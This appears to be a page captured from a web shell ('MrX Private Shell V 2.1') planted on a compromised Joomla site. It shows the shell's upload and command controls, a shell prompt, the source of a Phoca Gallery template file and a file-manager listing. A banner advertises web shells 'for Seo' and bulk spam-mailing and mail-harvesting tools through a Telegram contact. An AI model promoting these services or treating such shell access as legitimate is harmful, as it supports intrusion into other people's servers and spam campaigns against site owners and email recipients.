__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/*
 * @package Joomla
 * @copyright Copyright (C) 2005 Open Source Matters. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 *
 * @component Phoca Gallery
 * @copyright Copyright (C) Jan Pavelka www.phoca.cz
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
 */
use Joomla\CMS\HTML\HTMLHelper;
defined('_JEXEC') or die('Restricted access');
$d      = $displayData;
$item   = $d['item'];
$t      = $d['t'];

// Make SVG image the same responsive like the standard images - get the same ratio like images for the box and have the max width of the images
$styleDiv = ' style="max-width:'.$t['medium_image_width'].'px;aspect-ratio: '.(int)$t['medium_image_width'].'/'.(int)$t['medium_image_height']. '"';
$styleSVG = ' style="width:100%;height:100%"';


echo '<a class="'.$item->button->methodname.'" href="'. $item->link.'">';


if ($item->linkthumbnailpath != false || (isset($item->extid) && (int)$item->extid > 0)) {


    echo '<div class="pg-item-box-image pg-svg-box">';
    echo HTMLHelper::_( 'image', isset($item->extid) & (int)$item->extid > 0 ? $item->extm : $item->linkthumbnailpath, $item->altvalue, array( 'class' => 'pg-image c-Image c-Image--shaded', 'itemprop' => "thumbnail"));
    echo '</div>';
    echo '</a>';

} else {
    echo '<div class="pg-item-box-image pg-svg-box"'.$styleDiv.'">';

    // style="width:'.$t['medium_image_width'].'px;height:'.$t['medium_image_height'].'px"
    if (isset($item->rightdisplaykey) && $item->rightdisplaykey == 0) {
        echo '<svg alt="'.$item->altvalue.'" class="ph-si ph-si-lock-medium pg-image c-Image c-Image--shaded"'.$styleSVG.' itemprop="thumbnail"><use xlink:href="#ph-si-lock"></use></svg>';
    } else {
        echo '<svg alt="'.$item->altvalue.'" class="ph-si ph-si-category-medium pg-image c-Image c-Image--shaded"'.$styleSVG.' itemprop="thumbnail"><use xlink:href="#ph-si-category"></use></svg>';
    }

    echo '</div>';
    echo '</a>';

}
/*
echo '<div class="pg-item-box-image">';
echo HTMLHelper::_( 'image', isset($item->extid) & (int)$item->extid> 0 ? $item->extm : $item->linkthumbnailpath, $item->altvalue, array( 'class' => 'pg-image c-Image c-Image--shaded', 'itemprop' => "thumbnail"));


echo '</div>';
*/







Filemanager

Name Type Size Permission Actions
box_back.php File 1.39 KB 0664
box_category.php File 2.21 KB 0664
box_image.php File 1.4 KB 0664
category_modal.php File 1.43 KB 0664
comments.php File 4.91 KB 0664
svg_definitions.php File 12.9 KB 0664
Filemanager